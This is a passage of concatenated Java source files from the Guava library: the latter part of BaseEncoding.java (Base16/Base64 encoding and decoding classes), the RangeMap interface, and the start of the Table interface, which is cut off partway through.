zeroesInBitsPerChar); this.bytesPerChunk = bitsPerChar >> zeroesInBitsPerChar; this.mask = chars.length - 1; this.decodabet = decodabet; boolean[] validPadding = new boolean[charsPerChunk]; for (int i = 0; i < bytesPerChunk; i++) { validPadding[divide(i * 8, bitsPerChar, CEILING)] = true; } this.validPadding = validPadding; this.ignoreCase = ignoreCase; } private static byte[] decodabetFor(char[] chars) { byte[] decodabet = new byte[Ascii.MAX + 1]; Arrays.fill(decodabet, (byte) -1); for (int i = 0; i < chars.length; i++) { char c = chars[i]; checkArgument(c < decodabet.length, "Non-ASCII character: %s", c); checkArgument(decodabet[c] == -1, "Duplicate character: %s", c); decodabet[c] = (byte) i; } return decodabet; } /** Returns an equivalent {@code Alphabet} except it ignores case. */ Alphabet ignoreCase() { if (ignoreCase) { return this; } // We can't use .clone() because of GWT. byte[] newDecodabet = Arrays.copyOf(decodabet, decodabet.length); for (int upper = 'A'; upper <= 'Z'; upper++) { int lower = upper | 0x20; byte decodeUpper = decodabet[upper]; byte decodeLower = decodabet[lower]; if (decodeUpper == -1) { newDecodabet[upper] = decodeLower; } else { checkState( decodeLower == -1, "Can't ignoreCase() since '%s' and '%s' encode different values", (char) upper, (char) lower); newDecodabet[lower] = decodeUpper; } } return new Alphabet(name + ".ignoreCase()", chars, newDecodabet, /* ignoreCase= */ true); } char encode(int bits) { return chars[bits]; } boolean isValidPaddingStartPosition(int index) { return validPadding[index % charsPerChunk]; } boolean canDecode(char ch) { return ch <= Ascii.MAX && decodabet[ch] != -1; } int decode(char ch) throws DecodingException { if (ch > Ascii.MAX) { throw new DecodingException("Unrecognized character: 0x" + Integer.toHexString(ch)); } int result = decodabet[ch]; if (result == -1) { if (ch <= 0x20 || ch == Ascii.MAX) { throw new DecodingException("Unrecognized character: 0x" + Integer.toHexString(ch)); } else { throw new DecodingException("Unrecognized character: " + ch); } } return result; } private boolean hasLowerCase() { for (char c : chars) { if (Ascii.isLowerCase(c)) { return true; } } return false; } private boolean hasUpperCase() { for (char c : chars) { if (Ascii.isUpperCase(c)) { return true; } } return false; } Alphabet upperCase() { if (!hasLowerCase()) { return this; } checkState(!hasUpperCase(), "Cannot call upperCase() on a mixed-case alphabet"); char[] upperCased = new char[chars.length]; for (int i = 0; i < chars.length; i++) { upperCased[i] = Ascii.toUpperCase(chars[i]); } Alphabet upperCase = new Alphabet(name + ".upperCase()", upperCased); return ignoreCase ? upperCase.ignoreCase() : upperCase; } Alphabet lowerCase() { if (!hasUpperCase()) { return this; } checkState(!hasLowerCase(), "Cannot call lowerCase() on a mixed-case alphabet"); char[] lowerCased = new char[chars.length]; for (int i = 0; i < chars.length; i++) { lowerCased[i] = Ascii.toLowerCase(chars[i]); } Alphabet lowerCase = new Alphabet(name + ".lowerCase()", lowerCased); return ignoreCase ? lowerCase.ignoreCase() : lowerCase; } public boolean matches(char c) { return c < decodabet.length && decodabet[c] != -1; } @Override public String toString() { return name; } @Override public boolean equals(@CheckForNull Object other) { if (other instanceof Alphabet) { Alphabet that = (Alphabet) other; return this.ignoreCase == that.ignoreCase && Arrays.equals(this.chars, that.chars); } return false; } @Override public int hashCode() { return Arrays.hashCode(chars) + (ignoreCase ? 1231 : 1237); } } private static class StandardBaseEncoding extends BaseEncoding { final Alphabet alphabet; @CheckForNull final Character paddingChar; StandardBaseEncoding(String name, String alphabetChars, @CheckForNull Character paddingChar) { this(new Alphabet(name, alphabetChars.toCharArray()), paddingChar); } StandardBaseEncoding(Alphabet alphabet, @CheckForNull Character paddingChar) { this.alphabet = checkNotNull(alphabet); checkArgument( paddingChar == null || !alphabet.matches(paddingChar), "Padding character %s was already in alphabet", paddingChar); this.paddingChar = paddingChar; } @Override int maxEncodedSize(int bytes) { return alphabet.charsPerChunk * divide(bytes, alphabet.bytesPerChunk, CEILING); } @J2ktIncompatible @GwtIncompatible // Writer,OutputStream @Override public OutputStream encodingStream(Writer out) { checkNotNull(out); return new OutputStream() { int bitBuffer = 0; int bitBufferLength = 0; int writtenChars = 0; @Override public void write(int b) throws IOException { bitBuffer <<= 8; bitBuffer |= b & 0xFF; bitBufferLength += 8; while (bitBufferLength >= alphabet.bitsPerChar) { int charIndex = (bitBuffer >> (bitBufferLength - alphabet.bitsPerChar)) & alphabet.mask; out.write(alphabet.encode(charIndex)); writtenChars++; bitBufferLength -= alphabet.bitsPerChar; } } @Override public void flush() throws IOException { out.flush(); } @Override public void close() throws IOException { if (bitBufferLength > 0) { int charIndex = (bitBuffer << (alphabet.bitsPerChar - bitBufferLength)) & alphabet.mask; out.write(alphabet.encode(charIndex)); writtenChars++; if (paddingChar != null) { while (writtenChars % alphabet.charsPerChunk != 0) { out.write(paddingChar.charValue()); writtenChars++; } } } out.close(); } }; } @Override void encodeTo(Appendable target, byte[] bytes, int off, int len) throws IOException { checkNotNull(target); checkPositionIndexes(off, off + len, bytes.length); for (int i = 0; i < len; i += alphabet.bytesPerChunk) { encodeChunkTo(target, bytes, off + i, Math.min(alphabet.bytesPerChunk, len - i)); } } void encodeChunkTo(Appendable target, byte[] bytes, int off, int len) throws IOException { checkNotNull(target); checkPositionIndexes(off, off + len, bytes.length); checkArgument(len <= alphabet.bytesPerChunk); long bitBuffer = 0; for (int i = 0; i < len; ++i) { bitBuffer |= bytes[off + i] & 0xFF; bitBuffer <<= 8; // Add additional zero byte in the end. } // Position of first character is length of bitBuffer minus bitsPerChar. int bitOffset = (len + 1) * 8 - alphabet.bitsPerChar; int bitsProcessed = 0; while (bitsProcessed < len * 8) { int charIndex = (int) (bitBuffer >>> (bitOffset - bitsProcessed)) & alphabet.mask; target.append(alphabet.encode(charIndex)); bitsProcessed += alphabet.bitsPerChar; } if (paddingChar != null) { while (bitsProcessed < alphabet.bytesPerChunk * 8) { target.append(paddingChar.charValue()); bitsProcessed += alphabet.bitsPerChar; } } } @Override int maxDecodedSize(int chars) { return (int) ((alphabet.bitsPerChar * (long) chars + 7L) / 8L); } @Override CharSequence trimTrailingPadding(CharSequence chars) { checkNotNull(chars); if (paddingChar == null) { return chars; } char padChar = paddingChar.charValue(); int l; for (l = chars.length() - 1; l >= 0; l--) { if (chars.charAt(l) != padChar) { break; } } return chars.subSequence(0, l + 1); } @Override public boolean canDecode(CharSequence chars) { checkNotNull(chars); chars = trimTrailingPadding(chars); if (!alphabet.isValidPaddingStartPosition(chars.length())) { return false; } for (int i = 0; i < chars.length(); i++) { if (!alphabet.canDecode(chars.charAt(i))) { return false; } } return true; } @Override int decodeTo(byte[] target, CharSequence chars) throws DecodingException { checkNotNull(target); chars = trimTrailingPadding(chars); if (!alphabet.isValidPaddingStartPosition(chars.length())) { throw new DecodingException("Invalid input length " + chars.length()); } int bytesWritten = 0; for (int charIdx = 0; charIdx < chars.length(); charIdx += alphabet.charsPerChunk) { long chunk = 0; int charsProcessed = 0; for (int i = 0; i < alphabet.charsPerChunk; i++) { chunk <<= alphabet.bitsPerChar; if (charIdx + i < chars.length()) { chunk |= alphabet.decode(chars.charAt(charIdx + charsProcessed++)); } } int minOffset = alphabet.bytesPerChunk * 8 - charsProcessed * alphabet.bitsPerChar; for (int offset = (alphabet.bytesPerChunk - 1) * 8; offset >= minOffset; offset -= 8) { target[bytesWritten++] = (byte) ((chunk >>> offset) & 0xFF); } } return bytesWritten; } @Override @J2ktIncompatible @GwtIncompatible // Reader,InputStream public InputStream decodingStream(Reader reader) { checkNotNull(reader); return new InputStream() { int bitBuffer = 0; int bitBufferLength = 0; int readChars = 0; boolean hitPadding = false; @Override public int read() throws IOException { while (true) { int readChar = reader.read(); if (readChar == -1) { if (!hitPadding && !alphabet.isValidPaddingStartPosition(readChars)) { throw new DecodingException("Invalid input length " + readChars); } return -1; } readChars++; char ch = (char) readChar; if (paddingChar != null && paddingChar.charValue() == ch) { if (!hitPadding && (readChars == 1 || !alphabet.isValidPaddingStartPosition(readChars - 1))) { throw new DecodingException("Padding cannot start at index " + readChars); } hitPadding = true; } else if (hitPadding) { throw new DecodingException( "Expected padding character but found '" + ch + "' at index " + readChars); } else { bitBuffer <<= alphabet.bitsPerChar; bitBuffer |= alphabet.decode(ch); bitBufferLength += alphabet.bitsPerChar; if (bitBufferLength >= 8) { bitBufferLength -= 8; return (bitBuffer >> bitBufferLength) & 0xFF; } } } } @Override public int read(byte[] buf, int off, int len) throws IOException { // Overriding this to work around the fact that InputStream's default implementation of // this method will silently swallow exceptions thrown by the single-byte read() method // (other than on the first call to it), which in this case can cause invalid encoded // strings to not throw an exception. // See https://github.com/google/guava/issues/3542 checkPositionIndexes(off, off + len, buf.length); int i = off; for (; i < off + len; i++) { int b = read(); if (b == -1) { int read = i - off; return read == 0 ? -1 : read; } buf[i] = (byte) b; } return i - off; } @Override public void close() throws IOException { reader.close(); } }; } @Override public BaseEncoding omitPadding() { return (paddingChar == null) ? this : newInstance(alphabet, null); } @Override public BaseEncoding withPadChar(char padChar) { if (8 % alphabet.bitsPerChar == 0 || (paddingChar != null && paddingChar.charValue() == padChar)) { return this; } else { return newInstance(alphabet, padChar); } } @Override public BaseEncoding withSeparator(String separator, int afterEveryChars) { for (int i = 0; i < separator.length(); i++) { checkArgument( !alphabet.matches(separator.charAt(i)), "Separator (%s) cannot contain alphabet characters", separator); } if (paddingChar != null) { checkArgument( separator.indexOf(paddingChar.charValue()) < 0, "Separator (%s) cannot contain padding character", separator); } return new SeparatedBaseEncoding(this, separator, afterEveryChars); } @LazyInit @CheckForNull private volatile BaseEncoding upperCase; @LazyInit @CheckForNull private volatile BaseEncoding lowerCase; @LazyInit @CheckForNull private volatile BaseEncoding ignoreCase; @Override public BaseEncoding upperCase() { BaseEncoding result = upperCase; if (result == null) { Alphabet upper = alphabet.upperCase(); result = upperCase = (upper == alphabet) ? this : newInstance(upper, paddingChar); } return result; } @Override public BaseEncoding lowerCase() { BaseEncoding result = lowerCase; if (result == null) { Alphabet lower = alphabet.lowerCase(); result = lowerCase = (lower == alphabet) ? this : newInstance(lower, paddingChar); } return result; } @Override public BaseEncoding ignoreCase() { BaseEncoding result = ignoreCase; if (result == null) { Alphabet ignore = alphabet.ignoreCase(); result = ignoreCase = (ignore == alphabet) ? this : newInstance(ignore, paddingChar); } return result; } BaseEncoding newInstance(Alphabet alphabet, @CheckForNull Character paddingChar) { return new StandardBaseEncoding(alphabet, paddingChar); } @Override public String toString() { StringBuilder builder = new StringBuilder("BaseEncoding."); builder.append(alphabet); if (8 % alphabet.bitsPerChar != 0) { if (paddingChar == null) { builder.append(".omitPadding()"); } else { builder.append(".withPadChar('").append(paddingChar).append("')"); } } return builder.toString(); } @Override public boolean equals(@CheckForNull Object other) { if (other instanceof StandardBaseEncoding) { StandardBaseEncoding that = (StandardBaseEncoding) other; return this.alphabet.equals(that.alphabet) && Objects.equals(this.paddingChar, that.paddingChar); } return false; } @Override public int hashCode() { return alphabet.hashCode() ^ Objects.hashCode(paddingChar); } } private static final class Base16Encoding extends StandardBaseEncoding { final char[] encoding = new char[512]; Base16Encoding(String name, String alphabetChars) { this(new Alphabet(name, alphabetChars.toCharArray())); } private Base16Encoding(Alphabet alphabet) { super(alphabet, null); checkArgument(alphabet.chars.length == 16); for (int i = 0; i < 256; ++i) { encoding[i] = alphabet.encode(i >>> 4); encoding[i | 0x100] = alphabet.encode(i & 0xF); } } @Override void encodeTo(Appendable target, byte[] bytes, int off, int len) throws IOException { checkNotNull(target); checkPositionIndexes(off, off + len, bytes.length); for (int i = 0; i < len; ++i) { int b = bytes[off + i] & 0xFF; target.append(encoding[b]); target.append(encoding[b | 0x100]); } } @Override int decodeTo(byte[] target, CharSequence chars) throws DecodingException { checkNotNull(target); if (chars.length() % 2 == 1) { throw new DecodingException("Invalid input length " + chars.length()); } int bytesWritten = 0; for (int i = 0; i < chars.length(); i += 2) { int decoded = alphabet.decode(chars.charAt(i)) << 4 | alphabet.decode(chars.charAt(i + 1)); target[bytesWritten++] = (byte) decoded; } return bytesWritten; } @Override BaseEncoding newInstance(Alphabet alphabet, @CheckForNull Character paddingChar) { return new Base16Encoding(alphabet); } } private static final class Base64Encoding extends StandardBaseEncoding { Base64Encoding(String name, String alphabetChars, @CheckForNull Character paddingChar) { this(new Alphabet(name, alphabetChars.toCharArray()), paddingChar); } private Base64Encoding(Alphabet alphabet, @CheckForNull Character paddingChar) { super(alphabet, paddingChar); checkArgument(alphabet.chars.length == 64); } @Override void encodeTo(Appendable target, byte[] bytes, int off, int len) throws IOException { checkNotNull(target); checkPositionIndexes(off, off + len, bytes.length); int i = off; for (int remaining = len; remaining >= 3; remaining -= 3) { int chunk = (bytes[i++] & 0xFF) << 16 | (bytes[i++] & 0xFF) << 8 | bytes[i++] & 0xFF; target.append(alphabet.encode(chunk >>> 18)); target.append(alphabet.encode((chunk >>> 12) & 0x3F)); target.append(alphabet.encode((chunk >>> 6) & 0x3F)); target.append(alphabet.encode(chunk & 0x3F)); } if (i < off + len) { encodeChunkTo(target, bytes, i, off + len - i); } } @Override int decodeTo(byte[] target, CharSequence chars) throws DecodingException { checkNotNull(target); chars = trimTrailingPadding(chars); if (!alphabet.isValidPaddingStartPosition(chars.length())) { throw new DecodingException("Invalid input length " + chars.length()); } int bytesWritten = 0; for (int i = 0; i < chars.length(); ) { int chunk = alphabet.decode(chars.charAt(i++)) << 18; chunk |= alphabet.decode(chars.charAt(i++)) << 12; target[bytesWritten++] = (byte) (chunk >>> 16); if (i < chars.length()) { chunk |= alphabet.decode(chars.charAt(i++)) << 6; target[bytesWritten++] = (byte) ((chunk >>> 8) & 0xFF); if (i < chars.length()) { chunk |= alphabet.decode(chars.charAt(i++)); target[bytesWritten++] = (byte) (chunk & 0xFF); } } } return bytesWritten; } @Override BaseEncoding newInstance(Alphabet alphabet, @CheckForNull Character paddingChar) { return new Base64Encoding(alphabet, paddingChar); } } @J2ktIncompatible @GwtIncompatible static Reader ignoringReader(Reader delegate, String toIgnore) { checkNotNull(delegate); checkNotNull(toIgnore); return new Reader() { @Override public int read() throws IOException { int readChar; do { readChar = delegate.read(); } while (readChar != -1 && toIgnore.indexOf((char) readChar) >= 0); return readChar; } @Override public int read(char[] cbuf, int off, int len) throws IOException { throw new UnsupportedOperationException(); } @Override public void close() throws IOException { delegate.close(); } }; } static Appendable separatingAppendable( Appendable delegate, String separator, int afterEveryChars) { checkNotNull(delegate); checkNotNull(separator); checkArgument(afterEveryChars > 0); return new Appendable() { int charsUntilSeparator = afterEveryChars; @Override public Appendable append(char c) throws IOException { if (charsUntilSeparator == 0) { delegate.append(separator); charsUntilSeparator = afterEveryChars; } delegate.append(c); charsUntilSeparator--; return this; } @Override public Appendable append(@CheckForNull CharSequence chars, int off, int len) { throw new UnsupportedOperationException(); } @Override public Appendable append(@CheckForNull CharSequence chars) { throw new UnsupportedOperationException(); } }; } @J2ktIncompatible @GwtIncompatible // Writer static Writer separatingWriter(Writer delegate, String separator, int afterEveryChars) { Appendable separatingAppendable = separatingAppendable(delegate, separator, afterEveryChars); return new Writer() { @Override public void write(int c) throws IOException { separatingAppendable.append((char) c); } @Override public void write(char[] chars, int off, int len) throws IOException { throw new UnsupportedOperationException(); } @Override public void flush() throws IOException { delegate.flush(); } @Override public void close() throws IOException { delegate.close(); } }; } static final class SeparatedBaseEncoding extends BaseEncoding { private final BaseEncoding delegate; private final String separator; private final int afterEveryChars; SeparatedBaseEncoding(BaseEncoding delegate, String separator, int afterEveryChars) { this.delegate = checkNotNull(delegate); this.separator = checkNotNull(separator); this.afterEveryChars = afterEveryChars; checkArgument( afterEveryChars > 0, "Cannot add a separator after every %s chars", afterEveryChars); } @Override CharSequence trimTrailingPadding(CharSequence chars) { return delegate.trimTrailingPadding(chars); } @Override int maxEncodedSize(int bytes) { int unseparatedSize = delegate.maxEncodedSize(bytes); return unseparatedSize + separator.length() * divide(Math.max(0, unseparatedSize - 1), afterEveryChars, FLOOR); } @J2ktIncompatible @GwtIncompatible // Writer,OutputStream @Override public OutputStream encodingStream(Writer output) { return delegate.encodingStream(separatingWriter(output, separator, afterEveryChars)); } @Override void encodeTo(Appendable target, byte[] bytes, int off, int len) throws IOException { delegate.encodeTo(separatingAppendable(target, separator, afterEveryChars), bytes, off, len); } @Override int maxDecodedSize(int chars) { return delegate.maxDecodedSize(chars); } @Override public boolean canDecode(CharSequence chars) { StringBuilder builder = new StringBuilder(); for (int i = 0; i < chars.length(); i++) { char c = chars.charAt(i); if (separator.indexOf(c) < 0) { builder.append(c); } } return delegate.canDecode(builder); } @Override int decodeTo(byte[] target, CharSequence chars) throws DecodingException { StringBuilder stripped = new StringBuilder(chars.length()); for (int i = 0; i < chars.length(); i++) { char c = chars.charAt(i); if (separator.indexOf(c) < 0) { stripped.append(c); } } return delegate.decodeTo(target, stripped); } @Override @J2ktIncompatible @GwtIncompatible // Reader,InputStream public InputStream decodingStream(Reader reader) { return delegate.decodingStream(ignoringReader(reader, separator)); } @Override public BaseEncoding omitPadding() { return delegate.omitPadding().withSeparator(separator, afterEveryChars); } @Override public BaseEncoding withPadChar(char padChar) { return delegate.withPadChar(padChar).withSeparator(separator, afterEveryChars); } @Override public BaseEncoding withSeparator(String separator, int afterEveryChars) { throw new UnsupportedOperationException("Already have a separator"); } @Override public BaseEncoding upperCase() { return delegate.upperCase().withSeparator(separator, afterEveryChars); } @Override public BaseEncoding lowerCase() { return delegate.lowerCase().withSeparator(separator, afterEveryChars); } @Override public BaseEncoding ignoreCase() { return delegate.ignoreCase().withSeparator(separator, afterEveryChars); } @Override public String toString() { return delegate + ".withSeparator(\"" + separator + "\", " + afterEveryChars + ")"; } } }
google/guava
android/guava/src/com/google/common/io/BaseEncoding.java
349
/* * Copyright (C) 2012 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.collect; import com.google.common.annotations.GwtIncompatible; import com.google.errorprone.annotations.DoNotMock; import java.util.Collection; import java.util.Map; import java.util.Map.Entry; import java.util.NoSuchElementException; import java.util.function.BiFunction; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A mapping from disjoint nonempty ranges to non-null values. Queries look up the value associated * with the range (if any) that contains a specified key. * * <p>In contrast to {@link RangeSet}, no "coalescing" is done of {@linkplain * Range#isConnected(Range) connected} ranges, even if they are mapped to the same value. * * @author Louis Wasserman * @since 14.0 */ @SuppressWarnings("rawtypes") // https://github.com/google/guava/issues/989 @DoNotMock("Use ImmutableRangeMap or TreeRangeMap") @GwtIncompatible @ElementTypesAreNonnullByDefault public interface RangeMap<K extends Comparable, V> { /* * TODO(cpovirk): These docs sometimes say "map" and sometimes say "range map." Pick one, or at * least decide on a policy for when to use which. */ /** * Returns the value associated with the specified key, or {@code null} if there is no such value. * * <p>Specifically, if any range in this range map contains the specified key, the value * associated with that range is returned. */ @CheckForNull V get(K key); /** * Returns the range containing this key and its associated value, if such a range is present in * the range map, or {@code null} otherwise. */ @CheckForNull Entry<Range<K>, V> getEntry(K key); /** * Returns the minimal range {@linkplain Range#encloses(Range) enclosing} the ranges in this * {@code RangeMap}. * * @throws NoSuchElementException if this range map is empty */ Range<K> span(); /** * Maps a range to a specified value (optional operation). * * <p>Specifically, after a call to {@code put(range, value)}, if {@link * Range#contains(Comparable) range.contains(k)}, then {@link #get(Comparable) get(k)} will return * {@code value}. * * <p>If {@code range} {@linkplain Range#isEmpty() is empty}, then this is a no-op. */ void put(Range<K> range, V value); /** * Maps a range to a specified value, coalescing this range with any existing ranges with the same * value that are {@linkplain Range#isConnected connected} to this range. * * <p>The behavior of {@link #get(Comparable) get(k)} after calling this method is identical to * the behavior described in {@link #put(Range, Object) put(range, value)}, however the ranges * returned from {@link #asMapOfRanges} will be different if there were existing entries which * connect to the given range and value. * * <p>Even if the input range is empty, if it is connected on both sides by ranges mapped to the * same value those two ranges will be coalesced. * * <p><b>Note:</b> coalescing requires calling {@code .equals()} on any connected values, which * may be expensive depending on the value type. Using this method on range maps with large values * such as {@link Collection} types is discouraged. * * @since 22.0 */ void putCoalescing(Range<K> range, V value); /** Puts all the associations from {@code rangeMap} into this range map (optional operation). */ void putAll(RangeMap<K, ? extends V> rangeMap); /** Removes all associations from this range map (optional operation). */ void clear(); /** * Removes all associations from this range map in the specified range (optional operation). * * <p>If {@code !range.contains(k)}, {@link #get(Comparable) get(k)} will return the same result * before and after a call to {@code remove(range)}. If {@code range.contains(k)}, then after a * call to {@code remove(range)}, {@code get(k)} will return {@code null}. */ void remove(Range<K> range); /** * Merges a value into a part of the map by applying a remapping function. * * <p>If any parts of the range are already present in this map, those parts are mapped to new * values by applying the remapping function. The remapping function accepts the map's existing * value for that part of the range and the given value. It returns the value to be associated * with that part of the map, or it returns {@code null} to clear that part of the map. * * <p>Any parts of the range not already present in this map are mapped to the specified value, * unless the value is {@code null}. * * <p>Any existing entry spanning either range boundary may be split at the boundary, even if the * merge does not affect its value. For example, if {@code rangeMap} had one entry {@code [1, 5] * => 3} then {@code rangeMap.merge(Range.closed(0,2), 3, Math::max)} could yield a map with the * entries {@code [0, 1) => 3, [1, 2] => 3, (2, 5] => 3}. * * @since 28.1 */ void merge( Range<K> range, @CheckForNull V value, BiFunction<? super V, ? super @Nullable V, ? extends @Nullable V> remappingFunction); /** * Returns a view of this range map as an unmodifiable {@code Map<Range<K>, V>}. Modifications to * this range map are guaranteed to read through to the returned {@code Map}. * * <p>The returned {@code Map} iterates over entries in ascending order of the bounds of the * {@code Range} entries. * * <p>It is guaranteed that no empty ranges will be in the returned {@code Map}. */ Map<Range<K>, V> asMapOfRanges(); /** * Returns a view of this range map as an unmodifiable {@code Map<Range<K>, V>}. Modifications to * this range map are guaranteed to read through to the returned {@code Map}. * * <p>The returned {@code Map} iterates over entries in descending order of the bounds of the * {@code Range} entries. * * <p>It is guaranteed that no empty ranges will be in the returned {@code Map}. * * @since 19.0 */ Map<Range<K>, V> asDescendingMapOfRanges(); /** * Returns a view of the part of this range map that intersects with {@code range}. * * <p>For example, if {@code rangeMap} had the entries {@code [1, 5] => "foo", (6, 8) => "bar", * (10, ∞) => "baz"} then {@code rangeMap.subRangeMap(Range.open(3, 12))} would return a range map * with the entries {@code (3, 5] => "foo", (6, 8) => "bar", (10, 12) => "baz"}. * * <p>The returned range map supports all optional operations that this range map supports, except * for {@code asMapOfRanges().iterator().remove()}. * * <p>The returned range map will throw an {@link IllegalArgumentException} on an attempt to * insert a range not {@linkplain Range#encloses(Range) enclosed} by {@code range}. */ // TODO(cpovirk): Consider documenting that IAE on the various methods that can throw it. RangeMap<K, V> subRangeMap(Range<K> range); /** * Returns {@code true} if {@code obj} is another {@code RangeMap} that has an equivalent {@link * #asMapOfRanges()}. */ @Override boolean equals(@CheckForNull Object o); /** Returns {@code asMapOfRanges().hashCode()}. */ @Override int hashCode(); /** Returns a readable string representation of this range map. */ @Override String toString(); }
google/guava
guava/src/com/google/common/collect/RangeMap.java
350
/* * Copyright (C) 2008 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.common.collect; import com.google.common.annotations.GwtCompatible; import com.google.common.base.Objects; import com.google.errorprone.annotations.CanIgnoreReturnValue; import com.google.errorprone.annotations.CompatibleWith; import com.google.errorprone.annotations.DoNotMock; import java.util.Collection; import java.util.Map; import java.util.Set; import javax.annotation.CheckForNull; import org.checkerframework.checker.nullness.qual.Nullable; /** * A collection that associates an ordered pair of keys, called a row key and a column key, with a * single value. A table may be sparse, with only a small fraction of row key / column key pairs * possessing a corresponding value. * * <p>The mappings corresponding to a given row key may be viewed as a {@link Map} whose keys are * the columns. The reverse is also available, associating a column with a row key / value map. Note * that, in some implementations, data access by column key may have fewer supported operations or * worse performance than data access by row key. * * <p>The methods returning collections or maps always return views of the underlying table. * Updating the table can change the contents of those collections, and updating the collections * will change the table. * * <p>All methods that modify the table are optional, and the views returned by the table may or may * not be modifiable. When modification isn't supported, those methods will throw an {@link * UnsupportedOperationException}. * * <h3>Implementations</h3> * * <ul> * <li>{@link ImmutableTable} * <li>{@link HashBasedTable} * <li>{@link TreeBasedTable} * <li>{@link ArrayTable} * <li>{@link Tables#newCustomTable Tables.newCustomTable} * </ul> * * <p>See the Guava User Guide article on <a href= * "https://github.com/google/guava/wiki/NewCollectionTypesExplained#table">{@code Table}</a>. * * @author Jared Levy * @param <R> the type of the table row keys * @param <C> the type of the table column keys * @param <V> the type of the mapped values * @since 7.0 */ @DoNotMock("Use ImmutableTable, HashBasedTable, or another implementation") @GwtCompatible @ElementTypesAreNonnullByDefault public interface Table< R extends @Nullable Object, C extends @Nullable Object, V extends @Nullable Object> { // TODO(jlevy): Consider adding methods similar to ConcurrentMap methods. // Accessors /** * Returns {@code true} if the table contains a mapping with the specified row and column keys. * * @param rowKey key of row to search for * @param columnKey key of column to search for */ boolean contains( @CompatibleWith("R") @CheckForNull Object rowKey, @CompatibleWith("C") @CheckForNull Object columnKey); /** * Returns {@code true} if the table contains a mapping with the specified row key. * * @param rowKey key of row to search for */ boolean containsRow(@CompatibleWith("R") @CheckForNull Object rowKey); /** * Returns {@code true} if the table contains a mapping with the specified column. * * @param columnKey key of column to search for */ boolean containsColumn(@CompatibleWith("C") @CheckForNull Object columnKey); /** * Returns {@code true} if the table contains a mapping with the specified value. * * @param value value to search for */ boolean containsValue(@CompatibleWith("V") @CheckForNull Object value); /** * Returns the value corresponding to the given row and column keys, or {@code null} if no such * mapping exists. * * @param rowKey key of row to search for * @param columnKey key of column to search for */ @CheckForNull V get( @CompatibleWith("R") @CheckForNull Object rowKey, @CompatibleWith("C") @CheckForNull Object columnKey); /** Returns {@code true} if the table contains no mappings. */ boolean isEmpty(); /** Returns the number of row key / column key / value mappings in the table. */ int size(); /** * Compares the specified object with this table for equality. Two tables are equal when their * cell views, as returned by {@link #cellSet}, are equal. */ @Override boolean equals(@CheckForNull Object obj); /** * Returns the hash code for this table. The hash code of a table is defined as the hash code of * its cell view, as returned by {@link #cellSet}. */ @Override int hashCode(); // Mutators /** Removes all mappings from the table. */ void clear(); /** * Associates the specified value with the specified keys. If the table already contained a * mapping for those keys, the old value is replaced with the specified value. * * @param rowKey row key that the value should be associated with * @param columnKey column key that the value should be associated with * @param value value to be associated with the specified keys * @return the value previously associated with the keys, or {@code null} if no mapping existed * for the keys */ @CanIgnoreReturnValue @CheckForNull V put(@ParametricNullness R rowKey, @ParametricNullness C columnKey, @ParametricNullness V value); /** * Copies all mappings from the specified table to this table. The effect is equivalent to calling * {@link #put} with each row key / column key / value mapping in {@code table}. * * @param table the table to add to this table */ void putAll(Table<? extends R, ? extends C, ? extends V> table); /** * Removes the mapping, if any, associated with the given keys. * * @param rowKey row key of mapping to be removed * @param columnKey column key of mapping to be removed * @return the value previously associated with the keys, or {@code null} if no such value existed */ @CanIgnoreReturnValue @CheckForNull V remove( @CompatibleWith("R") @CheckForNull Object rowKey, @CompatibleWith("C") @CheckForNull Object columnKey); // Views /** * Returns a view of all mappings that have the given row key. For each row key / column key / * value mapping in the table with that row key, the returned map associates the column key with * the value. If no mappings in the table have the provided row key, an empty map is returned. * * <p>Changes to the returned map will update the underlying table, and vice versa. * * @param rowKey key of row to search for in the table * @return the corresponding map from column keys to values */ Map<C, V> row(@ParametricNullness R rowKey); /** * Returns a view of all mappings that have the given column key. For each row key / column key / * value mapping in the table with that column key, the returned map associates the row key with * the value. If no mappings in the table have the provided column key, an empty map is returned. * * <p>Changes to the returned map will update the underlying table, and vice versa. * * @param columnKey key of column to search for in the table * @return the corresponding map from row keys to values */ Map<R, V> column(@ParametricNullness C columnKey); /** * Returns a set of all row key / column key / value triplets. Changes to the returned set will * update the underlying table, and vice versa. The cell set does not support the {@code add} or * {@code addAll} methods. * * @return set of table cells consisting of row key / column key / value triplets */ Set<Cell<R, C, V>> cellSet(); /** * Returns a set of row keys that have one or more values in the table. Changes to the set will * update the underlying table, and vice versa. * * @return set of row keys */ Set<R> rowKeySet(); /** * Returns a set of column keys that have one or more values in the table. Changes to the set will * update the underlying table, and vice versa. * * @return set of column keys */ Set<C> columnKeySet(); /** * Returns a collection of all values, which may contain duplicates. Changes to the returned * collection will update the underlying table, and vice versa. * * @return collection of values */ Collection<V> values(); /** * Returns a view that associates each row key with the corresponding map from column keys to * values. Changes to the returned map will update this table. The returned map does not support * {@code put()} or {@code putAll()}, or {@code setValue()} on its entries. * * <p>In contrast, the maps returned by {@code rowMap().get()} have the same behavior as those * returned by {@link #row}. Those maps may support {@code setValue()}, {@code put()}, and {@code * putAll()}. * * @return a map view from each row key to a secondary map from column keys to values */ Map<R, Map<C, V>> rowMap(); /** * Returns a view that associates each column key with the corresponding map from row keys to * values. Changes to the returned map will update this table. The returned map does not support * {@code put()} or {@code putAll()}, or {@code setValue()} on its entries. * * <p>In contrast, the maps returned by {@code columnMap().get()} have the same behavior as those * returned by {@link #column}. Those maps may support {@code setValue()}, {@code put()}, and * {@code putAll()}. * * @return a map view from each column key to a secondary map from row keys to values */ Map<C, Map<R, V>> columnMap(); /** * Row key / column key / value triplet corresponding to a mapping in a table. * * @since 7.0 */ interface Cell< R extends @Nullable Object, C extends @Nullable Object, V extends @Nullable Object> { /** Returns the row key of this cell. */ @ParametricNullness R getRowKey(); /** 